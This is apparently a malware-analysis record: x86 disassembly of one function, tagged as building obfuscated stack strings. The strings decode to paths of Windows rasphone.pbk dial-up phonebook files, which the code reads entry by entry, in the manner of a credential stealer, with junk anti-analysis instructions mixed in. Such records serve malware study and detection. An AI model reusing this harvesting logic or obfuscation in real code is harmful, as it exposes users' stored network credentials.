Function at 0x403570
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415d40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x85c
push ebx
push esi
push edi
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x10], esp
push 0x419310
mov dword [ebp - 0xa8], ecx
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xbc], 0x4c
call fcn.00415950
lea ecx, [ebp - 0x260]
push 0x105
push ecx
call dword [0x4181a4]
mov ebx, 0x5c
mov dl, 0x74
mov al, 0x6f
mov cl, 0x6e
mov byte [ebp - 0x88], bl
mov byte [ebp - 0x87], 0x41
mov byte [ebp - 0x86], 0x70
mov byte [ebp - 0x85], 0x70
mov byte [ebp - 0x84], 0x6c
mov byte [ebp - 0x83], 0x69
mov byte [ebp - 0x82], 0x63
mov byte [ebp - 0x81], 0x61
mov byte [ebp - 0x80], dl
mov byte [ebp - 0x7f], 0x69
mov byte [ebp - 0x7e], al
mov byte [ebp - 0x7d], cl
mov byte [ebp - 0x7c], 0x20
mov byte [ebp - 0x7b], 0x44
mov byte [ebp - 0x7a], 0x61
mov byte [ebp - 0x79], dl
mov byte [ebp - 0x78], 0x61
mov byte [ebp - 0x77], bl
mov byte [ebp - 0x76], 0x4d
mov byte [ebp - 0x75], 0x69
mov byte [ebp - 0x74], 0x63
mov byte [ebp - 0x73], 0x72
mov byte [ebp - 0x72], al
mov byte [ebp - 0x71], 0x73
mov byte [ebp - 0x70], al
mov byte [ebp - 0x6f], 0x66
mov byte [ebp - 0x6e], dl
mov byte [ebp - 0x6d], bl
mov byte [ebp - 0x6c], 0x4e
mov byte [ebp - 0x6b], 0x65
mov byte [ebp - 0x6a], dl
mov byte [ebp - 0x69], 0x77
mov byte [ebp - 0x68], al
mov byte [ebp - 0x67], 0x72
mov byte [ebp - 0x66], 0x6b
mov byte [ebp - 0x65], bl
mov byte [ebp - 0x64], 0x43
mov byte [ebp - 0x63], al
mov byte [ebp - 0x62], cl
mov byte [ebp - 0x61], cl
mov byte [ebp - 0x60], 0x65
mov byte [ebp - 0x5f], 0x63
mov byte [ebp - 0x5e], dl
mov byte [ebp - 0x5d], 0x69
mov byte [ebp - 0x5c], al
mov byte [ebp - 0x5b], cl
mov byte [ebp - 0x5a], 0x73
mov byte [ebp - 0x59], bl
mov byte [ebp - 0x58], 0x70
mov byte [ebp - 0x57], 0x62
mov byte [ebp - 0x56], 0x6b
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0x72
mov byte [ebp - 0x53], 0x61
mov byte [ebp - 0x52], 0x73
mov byte [ebp - 0x51], 0x70
mov byte [ebp - 0x50], 0x68
mov byte [ebp - 0x4f], al
mov byte [ebp - 0x4e], cl
mov byte [ebp - 0x4d], 0x65
mov byte [ebp - 0x4c], 0x2e
mov byte [ebp - 0x4b], 0x70
mov byte [ebp - 0x4a], 0x62
mov byte [ebp - 0x49], 0x6b
mov byte [ebp - 0x48], 0
mov byte [ebp - 0x44], 0x4d
mov byte [ebp - 0x43], 0x69
mov byte [ebp - 0x42], 0x63
mov byte [ebp - 0x41], 0x72
mov byte [ebp - 0x40], al
mov byte [ebp - 0x3f], 0x73
mov byte [ebp - 0x3e], al
mov byte [ebp - 0x3d], 0x66
mov byte [ebp - 0x3c], dl
mov byte [ebp - 0x38], dl
mov byte [ebp - 0x2c], dl
mov byte [ebp - 0x99], dl
mov byte [ebp - 0x90], dl
mov byte [ebp - 0x8f], dl
lea edx, [ebp - 0x260]
push ebx
push edx
mov byte [ebp - 0x3b], bl
mov byte [ebp - 0x3a], 0x4e
mov byte [ebp - 0x39], 0x65
mov byte [ebp - 0x37], 0x77
mov byte [ebp - 0x36], al
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x6b
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], 0x43
mov byte [ebp - 0x31], al
mov byte [ebp - 0x30], cl
mov byte [ebp - 0x2f], cl
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x63
mov byte [ebp - 0x2b], 0x69
mov byte [ebp - 0x2a], al
mov byte [ebp - 0x29], cl
mov byte [ebp - 0x28], 0x73
mov byte [ebp - 0x27], bl
mov byte [ebp - 0x26], 0x70
mov byte [ebp - 0x25], 0x62
mov byte [ebp - 0x24], 0x6b
mov byte [ebp - 0x23], bl
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x61
mov byte [ebp - 0x20], 0x73
mov byte [ebp - 0x1f], 0x70
mov byte [ebp - 0x1e], 0x68
mov byte [ebp - 0x1d], al
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x2e
mov byte [ebp - 0x19], 0x70
mov byte [ebp - 0x18], 0x62
mov byte [ebp - 0x17], 0x6b
mov byte [ebp - 0x16], 0
mov byte [ebp - 0xa0], 0x44
mov byte [ebp - 0x9f], al
mov byte [ebp - 0x9e], 0x63
mov byte [ebp - 0x9d], 0x75
mov byte [ebp - 0x9c], 0x6d
mov byte [ebp - 0x9b], 0x65
mov byte [ebp - 0x9a], cl
mov byte [ebp - 0x98], 0x73
mov byte [ebp - 0x97], 0x20
mov byte [ebp - 0x96], 0x61
mov byte [ebp - 0x95], cl
mov byte [ebp - 0x94], 0x64
mov byte [ebp - 0x93], 0x20
mov byte [ebp - 0x92], 0x53
mov byte [ebp - 0x91], 0x65
mov byte [ebp - 0x8e], 0x69
mov byte [ebp - 0x8d], cl
mov byte [ebp - 0x8c], 0x67
mov byte [ebp - 0x8b], 0x73
mov byte [ebp - 0x8a], bl
mov byte [ebp - 0x89], 0
lea edi, [ebp - 0xa0]
call dword [0x4182ac]
mov edx, eax
add esp, 8
or ecx, 0xffffffff
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x260]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0xa8]
mov edi, dword [0x4181a8]
mov ecx, dword [esi + 0x14]
push ecx
push edx
call edi
lea eax, [ebp - 0x88]
lea ecx, [ebp - 0x260]
push eax
push ecx
call edi
push 0
lea edx, [ebp - 0x368]
push 0x23
push edx
push 0
call dword [0x418308]
lea eax, [ebp - 0x44]
lea ecx, [ebp - 0x368]
push eax
push ecx
lea edx, [ebp - 0x368]
push 0x41c06c
push edx
call dword [0x41838c]
add esp, 0x10
lea edx, [ebp - 0x158]
lea eax, [ebp - 0x260]
lea ecx, [ebp - 0x368]
push edx
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0x158], 0x94
call dword [0x418184]
mov eax, dword [ebp - 0x148]
mov edi, 2
cmp eax, edi
jne 0x40390a
cmp dword [ebp - 0x154], 5
jb 0x40390a
mov ecx, esi
call fcn.00403410
shrd eax, edx, 0xa3
movsx eax, al
mov eax, edi
not ah
sbb eax, ebp
shrd eax, eax, cl
bsf eax, eax
bsf eax, edx
or eax, ecx
imul eax, edi
bt eax, 0xb8
sub eax, edi
mov ah, ah
mov al, bl
btr eax, 0x95
btr eax, esi
xor eax, 0x7e545409
bt eax, 0xec
bswap eax
shld eax, esi, cl
sub eax, 0x30447c2e
shld eax, edi, cl
imul eax, eax, 0xbba11e53
test ebp, edi
and eax, 0xf4a72a6d
dec ah
shld eax, esi, 0xcd
movzx eax, bh
inc eax
test al, 0x70
movzx eax, cx
shr ah, 0x8b
cmp al, 0x58
or ah, dl
imul eax, esi
mov ah, ch
mov eax, ecx
not al
mov eax, 0xbcb63bd5
bsr eax, ebx
shrd eax, ebx, cl
btr eax, 0xb
push 0x1000
call fcn.0041593c
mov ebx, eax
lea eax, [ebp - 0xc4]
add esp, 4
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xb8], edi
jmp 0x4039b6
mov ebx, dword [ebp - 0xa4]
mov ecx, 0x400
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0xac]
mov eax, dword [ecx]
push eax
push 0x1000
push ebx
mov dword [ebp - 0xb0], eax
call dword [0x4181ac]
mov edx, dword [ebp - 0xa4]
cmp byte [edx], 0
je 0x403c40
push ebx
mov ecx, esi
call fcn.00404150
mov dword [ebp - 0xb4], eax
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x468]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x668]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x768]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x568]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x868]
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0xb0]
lea ecx, [ebp - 0x468]
push eax
push 0x100
push ecx
push 0
push 0x41c088
push ebx
call dword [0x418188]
test eax, eax
jle 0x403b22
mov eax, dword [esi + 0x10]
xor edi, edi
test eax, eax
jle 0x403b22
mov dword [ebp - 0x14], edi
mov edx, dword [ebp - 0x14]
mov ecx, dword [esi + 0x1c]
add edx, ecx
lea eax, [ebp - 0x468]
push edx
push eax
call dword [0x41818c]
test eax, eax
je 0x403aa5
mov ecx, dword [ebp - 0x14]
mov eax, dword [esi + 0x10]
inc edi
add ecx, 0x301
cmp edi, eax
mov dword [ebp - 0x14], ecx
jl 0x403a75
jmp 0x403b22
mov edx, dword [esi + 0x1c]
lea ecx, [edi + edi*2]
shl ecx, 8
add ecx, edi
xor eax, eax
add edx, ecx
or ecx, 0xffffffff
lea esi, [ebp - 0x668]
lea edi, [edx + 0x200]
mov dword [ebp - 0x14], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [ebp - 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [edx + 0x100]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea esi, [ebp - 0x768]
sub edi, ecx
mov eax, ecx
mov dword [ebp - 0x14], esi
mov esi, edi
mov edi, dword [ebp - 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [ebp - 0xa8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [edx + 0x300], 1
mov ecx, dword [eax + 8]
inc ecx
mov esi, eax
mov dword [eax + 8], ecx
mov edi, dword [ebp - 0xb0]
lea ecx, [ebp - 0x568]
push edi
push 0x100
push ecx
push 0
push 0x41c07c
push ebx
call dword [0x418188]
adc ah, ch
mov eax, esi
add al, 0x2d
bsr eax, eax
test al, 0x15
dec eax
mov eax, 0x740cfe0f
inc eax
bsr eax, ecx
sbb eax, 0xae51cab1
mov ah, 0xba
imul eax, esi
mov eax, edx
movsx eax, dx
mov eax, 0x6d9e9fb6
shld eax, ecx, cl
shl al, 0xaa
ror eax, 1
bt eax, ebp
rcr eax, cl
test dh, bh
bts eax, esi
bsr eax, edx
inc eax
bsf eax, ecx
test dl, 0x11
or eax, esi
adc eax, eax
mov al, ch
dec eax
shl al, 1
btc eax, 0x3c
movsx eax, bx
bsf eax, ebx
btc eax, 4
shld eax, ebp, 0x15
imul eax, edi
rol al, 1
xadd ah, al
not ah
push edi
lea edx, [ebp - 0x868]
push 0x100
push edx
push 0
push 0x41c074
push ebx
call dword [0x418188]
lea eax, [ebp - 0x868]
mov ecx, esi
push eax
call fcn.00404150
lea ecx, [ebp - 0x668]
mov edi, eax
push ecx
mov ecx, esi
call fcn.00404150
lea edx, [ebp - 0x568]
push edi
lea ecx, [ebp - 0x768]
push edx
mov edx, dword [ebp - 0xb4]
push ecx
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0x468]
push edx
push eax
mov ecx, esi
call fcn.00403c90
mov ecx, dword [ebp - 0xb4]
push ecx
call fcn.00415956
mov edx, dword [ebp - 0x14]
push edx
call fcn.00415956
push edi
call fcn.00415956
add esp, 0xc
push ebx
call dword [0x4181b0]
lea ebx, [ebx + eax + 1]
cmp byte [ebx], 0
jne 0x4039eb
mov ecx, dword [ebp - 0xac]
mov eax, dword [ebp - 0xb8]
add ecx, 4
dec eax
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb8], eax
jne 0x4039b0
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00415956
add esp, 4
mov eax, 0x403c77
ret